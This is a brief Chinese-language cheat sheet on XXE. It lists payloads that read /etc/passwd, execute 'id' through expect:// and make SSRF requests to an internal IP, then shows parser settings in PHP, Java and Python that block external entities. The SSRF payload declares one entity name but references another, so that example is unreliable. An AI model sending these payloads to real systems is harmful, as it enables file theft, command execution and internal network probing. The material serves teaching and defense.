# 1.XXE PayLoad

# 读取任意文件

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>	

# RCE

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <description>&xxe;</description>
   </core>
</catalog>

# SSRF

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "http://10.165.89.150:88">]>
<root>
<name>&xxe;</name>
</root>	

# 2.xxe防御

# php

libxml_disable_entity_loader(true);

# java

SAXReader reader = new SAXReader();
// 是否包含外部生成的实体。当正在解析文档时为只读属性,未解析文档的状态下为读写
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
// 是否包含外部的参数,包括外部DTD子集。当正在解析文档时为只读属性,未解析文档的状态下为读写。
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
Document document = reader.read(xml);

# python

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))